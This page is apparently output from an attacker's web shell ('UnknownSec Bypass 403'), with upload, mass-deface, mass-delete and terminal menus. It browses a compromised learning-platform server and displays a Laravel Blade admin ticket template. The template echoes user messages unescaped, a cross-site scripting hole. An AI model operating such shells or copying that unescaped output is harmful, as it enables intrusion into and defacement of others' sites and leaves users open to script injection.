UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_5b407a0408d2
/
resources
/
views
/
admin
/
ticket
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
show.blade.php
<!-- Regras de negocio ## O administrador pode fechar o ticket ## Responder Ticket é apenas um link (ancora) para o textarea da resposta. ## A mesma pessoa pode responder inúmeras vezes, sem a necessidade de uma contra-resposta ## A interação do administrador gera um email que é enviado ao aluno que abriu e o instrutor responsavel. ## O anexo é opcional, mas é somente 1 por resposta. ## O anexo é acessado ao se clicar no link que é gerado após salvar. ## Mesmo após encerrar o ticket é possível ser visualizado a qualquer momento, mas não é posssível mais interagir com o mesmo. --> @extends('layouts.admin') @section('toolbar') @if($ticket['ticket_status_id'] < 3) <div class="btn-group pull-right" style="margin-top: 0px;"> <a href="#replay" class="btn btn-success btn-lg"> {!! trans('admin_ticket.btnReplayTicket') !!} </a> <button class="btn btn-danger btn-lg" id="close_ticket"> {!! trans('admin_ticket.btnCloseTicket') !!} </button> </div> @endif @stop @section('content') @foreach($ticket['messages'] as $key => $message) @if($ticket['ticket_type_id'] == 1) @if($key == 0) <?php $aluno = $message['from_id']; ?> <div class="panel panel-info"> <div class="panel-heading"><b>{!! trans('admin_ticket.msgHeading') !!} #{{ $ticket['id'] }} - {{ $ticket['subject'] }}</b></div> <div class="panel-body"> <p><b>{!! trans('admin_ticket.msgBody1') !!}</b> {{ $ticket['course']['name'] }} | <b>{!! trans('admin_ticket.msgBody2') !!}</b> {{ $message['from']['name'] }} | <b>{!! trans('admin_ticket.msgBody3') !!}</b> {{ $message['created_at'].'hs' }}</p> <p><b>{!! trans('admin_ticket.msgBody4') !!}</b> {!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @else @if($message['from_id'] == \Auth::user()['id']) <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-retweet"></i> {!! trans('admin_ticket.msgHeadingUser') !!} {{ $message['created_at'].'hs' }} </div> <div class="panel-body"> <p>{!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @elseif($message['from_id'] == $aluno) <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-retweet"></i> {!! trans('admin_ticket.msgHeadingStudent') !!} {{ $message['created_at'].'hs' }} </div> <div class="panel-body"> <p>{!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @else <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-retweet"></i> {!! trans('admin_ticket.msgHeadingInstructor') !!} {{ $message['created_at'].'hs' }} </div> <div class="panel-body"> <p>{!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @endif @endif @else @if($key == 0) <div class="panel panel-info"> <div class="panel-heading"><h4>{!! trans('admin_ticket.msgHeading') !!}{{ $ticket['id'] }} - {{ $ticket['subject'] }}</h4></div> <div class="panel-body"> <p><b>{!! trans('admin_ticket.msgBodyElse1') !!} - {{ $ticket['type']['name'] }}</b> | <b>{!! trans('admin_ticket.msgBody2') !!}</b> {{ $message['from']['name'] }} | <b>{!! trans('admin_ticket.msgBody3') !!}</b> {{ $message['created_at'].'hs' }}</p> <p><b>{!! trans('admin_ticket.msgBody4') !!}</b> {!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @else @if($message['from_id'] == \Auth::user()['id']) <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-retweet"></i> {!! trans('admin_ticket.msgHeadingUser') !!} {{ $message['created_at'].'hs' }} </div> <div class="panel-body"> <p>{!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @else <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-retweet"></i> {!! trans('admin_ticket.msgHeadingStudent') !!} {{ $message['created_at'].'hs' }} </div> <div class="panel-body"> <p>{!! $message['message'] !!}</p> @if(!empty($message['attachment'])) <p> <a href="{{ route('admin.ticket.download', [$ticket['GUID'], $message['attachment']]) }}" download="{{ $message['attachment'] }}"> <i class="fa fa-paperclip"></i> {!! trans('admin_ticket.linkView') !!} </a> </p> @endif </div> </div> @endif @endif @endif @endforeach <hr> @if($ticket['ticket_status_id'] < 3) <section id="replay"> @if (count($errors) > 0) <div class="alert alert-danger"> <ul> @foreach ($errors->all() as $error) <li>{{ $error }}</li> @endforeach </ul> </div> @endif {!! Form::open(['method' => 'POST', 'class' => '', 'role' => 'form', 'url' => route('admin.ticket.reply'), 'id' => 'update', 'files' => true]) !!} <!-- guid Input Hidden --> {!! Form::hidden('guid', $ticket['GUID']) !!} <div class="form-group"> {!! Form::label('message', trans('admin_ticket.msgLabel')) !!}<span class="text-danger">*</span> {!! Form::textarea('message', null, ['class' => 'form-control', 'rows' => 6]) !!} {!! $errors->first('message', '<span class="text-danger">:message</span>') !!} </div> <div class="form-group"> {!! Form::label('attachment', trans('admin_ticket.fileLabel')) !!} {!! Form::file('attachment', ['class' => 'form-control']) !!} </div> <div class="form-group"> <button class="btn btn-success">{!! trans('admin_ticket.btnAddQuestion') !!}</button> </div> {!! Form::close() !!} </section> @endif @stop @section('scripts') <script type="text/javascript"> $(document).ready(function() { $(document).on('click', '#close_ticket', function() { bootbox.dialog({ message: "{!! trans('admin_ticket.bootboxMsg') !!}", title: "{!! trans('admin_ticket.bootboxTitle') !!}", buttons: { success: { label: "{!! trans('admin_ticket.bootboxLabel') !!}", className: "btn-success", callback: function () { var url = "{{ route('admin.ticket.close') }}"; var id = "{{ $ticket['id'] }}"; $.ajax({ url: url, method: "POST", data: {id: id}, success: function (data) { bootbox.alert('{!! trans('admin_ticket.bootboxAlert') !!}', function () { location.reload(); }) } }); } }, danger: { label: "{!! trans('admin_ticket.bootboxDangerLabel') !!}", className: "btn-danger", callback: function () { return true; } } } }); }); }); </script> @stop
Copyright © 2026 - UnknownSec